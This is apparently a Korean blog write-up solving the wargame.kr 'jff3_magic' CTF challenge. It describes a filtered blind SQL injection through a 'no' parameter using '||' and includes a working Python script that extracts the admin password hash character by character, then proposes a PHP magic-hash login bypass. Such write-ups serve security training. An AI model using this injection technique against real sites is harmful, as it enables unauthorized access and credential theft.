White Security
[wargame.kr] jff3_magic 문제풀이 본문
wargame.kr 사이트의 29번째 문제입니다.
쉬어가는 문제입니다
찾아보니 jff3는 CTF 이름이네요.
링크에 접속하면 alert이 반겨줍고 있습니다.
아직 개발이 완료되지 않았다며 자바스크립트를 통해 이전 페이지로 돌아갑니다.
좌측에 멤버 목록으로
Cd80 Orange Comma 가 있고
우측에는 로그인 폼이 존재합니다.
로그인을 시도할 시에
비밀번호 해시값을 보여주는데
이를 통해 해시 타입을 유추해 볼 수 있었습니다.
위는 haval 128,5 해시입니다.
자바스크립트를 차단하고
멤버 목록을 선택해 보면
이름이 나타납니다.
여기서 no 인자값을 0으로 바꾸어보면
유저명이 admin 으로 나타납니다.
인젝션을 시도하면 거의 모든 구문들이
차단되어 있는 것을 확인할 수 있습니다.
if 함수는 차단되었지만
or 의미로 사용 가능한 '||' 연산자가 사용가능하므로
우변에 조건식을 넣는 것으로 결과값 확인이 가능합니다.
아래는 이를 이용해 작성한 스크립트입니다.
from urllib import request, parse import sys char_list = 'abcdefghijklmnopqrstuvwxyz0123456789' def if_query(query): url = 'http://wargame.kr:8080/jff3_magic/?no=-1||' \ + parse.quote('pw like char(%s,%d)' \ % (','.join( str(ord(c)) for c in query ), ord('%'))) req = request.Request(url) response = request.urlopen(req).read() return response.find(b'admin') > 0 pw = '' pw_len = 32 for idx in range(pw_len): for c in char_list: if if_query(pw + c): pw += c sys.stdout.write('\r[%d] %s%s' % (pw_len, pw, '_' * (pw_len - len(pw)))) break print('')
비밀번호의 해쉬 값이 php 매직 해시임을 확인했으므로
haval 128,5의 매직 해시를 찾아
패스워드에 대입하면 로그인이 가능할 것으로 보입니다.
'Wargame Writeups > wargame.kr' 카테고리의 다른 글
[wargame.kr] adm1nkyj 문제풀이 (0) | 2019.01.30 |
---|---|
[wargame.kr] counting query 문제풀이 (0) | 2019.01.28 |
[wargame.kr] login with crypto! but.. 문제풀이 (0) | 2019.01.25 |
[wargame.kr] dun worry about the vase 문제풀이 (0) | 2019.01.25 |
[wargame.kr] QnA 문제풀이 (0) | 2019.01.24 |
Comments